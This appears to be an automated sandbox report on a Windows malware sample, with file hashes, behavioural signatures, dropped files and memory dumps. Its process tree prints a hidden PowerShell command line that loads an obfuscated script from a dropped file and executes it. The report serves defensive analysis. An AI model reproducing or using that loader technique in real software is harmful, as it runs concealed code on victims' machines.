Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    10-01-2025 14:15

General

  • Target

    f459c492671666638899a5c5d716538ecff3516338e5cea64e5d53fa421ec2ba.exe

  • Size

    560KB

  • MD5

    21eb0bfd14e8ab29a3c29d5b60ee09e1

  • SHA1

    9cff284042166495e20428500545b99330a1a9c8

  • SHA256

    f459c492671666638899a5c5d716538ecff3516338e5cea64e5d53fa421ec2ba

  • SHA512

    cf0d15a179940c800cb669384a0874200650b0da7b8db58c3e1a8cf87cb5d3ac5953a10c68366436917812f24d32a7f12506831294bec53b6e41ed8a7b1a56e8

  • SSDEEP

    12288:n93jlz5CwkzUf1DYt/itWe7NAZSfR6IWAKsbk1B8B:n93jlzcxzUf9S6tx7mWKNeoiB

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\f459c492671666638899a5c5d716538ecff3516338e5cea64e5d53fa421ec2ba.exe
    "C:\Users\Admin\AppData\Local\Temp\f459c492671666638899a5c5d716538ecff3516338e5cea64e5d53fa421ec2ba.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1684
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Reglair=gc -raw 'C:\Users\Admin\AppData\Roaming\china\Mixeren\verbalises\Peltandra.Ove';$Kursuslreren=$Reglair.SubString(51728,3);.$Kursuslreren($Reglair) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2584

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\justifikationssager.lnk

    Filesize

    744B

    MD5

    a374a1dda3685427891b7004ad4aa91b

    SHA1

    a7114ec4ec62299f0fde20b4a89dda7a50f55255

    SHA256

    64d4eca9f012a6cdc184e999a4c7ff172cc6a60cc792b39876990dde9323145c

    SHA512

    b649de17ba963a87714572a260056d831d545d87a65db1d6a48ecf7801d9ae3125e9ce8712c02fc31beb452fd0899ee944e21b9260663f9babae27af7eee0588

  • \Users\Admin\AppData\Local\Temp\nsi564C.tmp\nsExec.dll

    Filesize

    6KB

    MD5

    b648c78981c02c434d6a04d4422a6198

    SHA1

    74d99eed1eae76c7f43454c01cdb7030e5772fc2

    SHA256

    3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

    SHA512

    219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

  • memory/2584-38-0x0000000074471000-0x0000000074472000-memory.dmp

    Filesize

    4KB

  • memory/2584-39-0x0000000074470000-0x0000000074A1B000-memory.dmp

    Filesize

    5.7MB

  • memory/2584-40-0x0000000074470000-0x0000000074A1B000-memory.dmp

    Filesize

    5.7MB

  • memory/2584-41-0x0000000074470000-0x0000000074A1B000-memory.dmp

    Filesize

    5.7MB

  • memory/2584-42-0x0000000074470000-0x0000000074A1B000-memory.dmp

    Filesize

    5.7MB

  • memory/2584-43-0x0000000074470000-0x0000000074A1B000-memory.dmp

    Filesize

    5.7MB